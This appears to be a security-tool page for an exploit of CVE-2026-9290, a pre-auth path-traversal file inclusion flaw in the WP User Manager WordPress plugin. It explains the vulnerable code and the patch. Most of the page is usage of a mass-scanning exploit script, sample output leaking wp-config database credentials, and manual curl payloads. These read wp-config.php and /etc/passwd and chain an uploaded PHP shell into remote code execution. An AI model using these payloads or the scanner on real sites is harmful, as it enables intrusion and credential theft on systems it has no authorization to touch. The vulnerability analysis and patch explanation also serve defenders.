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CVE-2026-9290

Pre-auth Local File Inclusion in WP User Manager <= 2.9.17 via path traversal in tab parameter (CVSS 7.5)

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CVE-2026-9290 — WP User Manager LFI to RCE Exploit

Pre-Auth Path Traversal via 'tab' Parameter → Local File Inclusion


Overview

CVE-2026-9290 is a high-severity (CVSS 7.5) unauthenticated Local File Inclusion vulnerability in the WP User Manager – User Profile Builder & Membership WordPress plugin (≤ 2.9.17).

The wpum_get_active_profile_tab() function passes the tab query parameter directly to the Gamajo template loader without whitelist validation. Path traversal sequences in the value allow unauthenticated attackers to include arbitrary files from the server via PHP's include().

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Affected Versions

WP User Manager VersionStatus
≤ 2.9.17Vulnerable
≥ 2.9.18Patched

Vulnerability Mechanism

Root Cause

In includes/functions.php, the wpum_get_active_profile_tab() function takes the tab query parameter without whitelist validation:

root@kitploit:~
// Vulnerable: no whitelist check on $tab value
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);

The value is passed to Gamajo_Template_Loader::get_template_part() which resolves and includes the template file:

root@kitploit:~
// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');

sanitize_text_field() does NOT strip path traversal sequences. ../../../wp-config passes through.

Attack Flow

root@kitploit:~
GET /profile/?tab=../../../wp-config
  → wpum_get_active_profile_tab('../../../wp-config')
  → Gamajo_Template_Loader::include('../../../wp-config.php')
  → wp-config.php included → DB credentials exposed

Key Files

FileLineRole
includes/functions.php#L955wpum_get_active_profile_tab() — no whitelist
templates/profile.php#L52Profile template scope
class-gamajo-template-loader.php#L226Unsanitized include()

Patch (2.9.18)

PR #445 adds whitelist validation:

root@kitploit:~
// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
    $tab = 'profile'; // fallback to default
}

Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt

Usage

root@kitploit:~
# Single target — LFI probe
python cve_2026_9290.py -t target.com

# Mass scan
python cve_2026_9290.py -f targets.txt -v

# Read specific file via LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"

# Save results
python cve_2026_9290.py -f targets.txt -o lfi.txt

Arguments

root@kitploit:~
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  --read PATH       Read a specific file via LFI
  -o, --output      Save results to file
  --threads         Workers (default: 25)
  -v, --verbose     Show detailed output

Proof of Concept

Detection & LFI

root@kitploit:~
$ python cve_2026_9290.py -t target.com -v
root@kitploit:~
  CVE-2026-9290 — WP User Manager LFI → RCE Exploit
  CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter

    [+] WP User Manager detected
    [+] Profile page: /profile/
    [+] LFI confirmed: wp-config.php (DB credentials)
    [+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');

  Host     : target.com
  WPUM     : YES
  LFI      : YES
  File     : wp-config.php (DB credentials)
  Time     : 3.2s

Mass Scan

root@kitploit:~
  [LFI]     target-1.com        3.2s  wp-config.php (DB credentials)
            define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
  [LFI]     target-2.com        4.1s  wp-config.php (DB credentials)
            define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
  [200/5458] 3%  |  WPUM:12  LFI:5  |  current-target.com

Manual Exploitation

Step 1 — Detect WP User Manager

root@kitploit:~
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3

Step 2 — Find profile page

root@kitploit:~
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'

Step 3 — LFI via tab parameter

root@kitploit:~
# Read wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'

# Read /etc/passwd  
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'

# RCE — include uploaded PHP shell
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'

RCE Chain

root@kitploit:~
1. LFI → read wp-config.php → get DB credentials
2. Upload PHP shell via another plugin/media endpoint
3. LFI → include uploaded shell → RCE

Disclaimer

FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

This software is intended for security professionals conducting authorized penetration tests, organizations auditing their own infrastructure, and researchers studying vulnerability exploitation.

Unauthorized access to computer systems is illegal and may violate:

  • United States: Computer Fraud and Abuse Act (18 U.S.C. 1030)
  • Indonesia: UU ITE Pasal 30 & 46
  • European Union: Directive 2013/40/EU
  • United Kingdom: Computer Misuse Act 1990

The authors assume no liability for misuse.


References

ResourceLink
GitHub AdvisoryGHSA-83v9-496w-54wx
Wordfence Advisorywordfence.com
Patch PRGitHub #445
IONIX Analysisionix.io

This project is not affiliated with WP User Manager or Carbon Fields.

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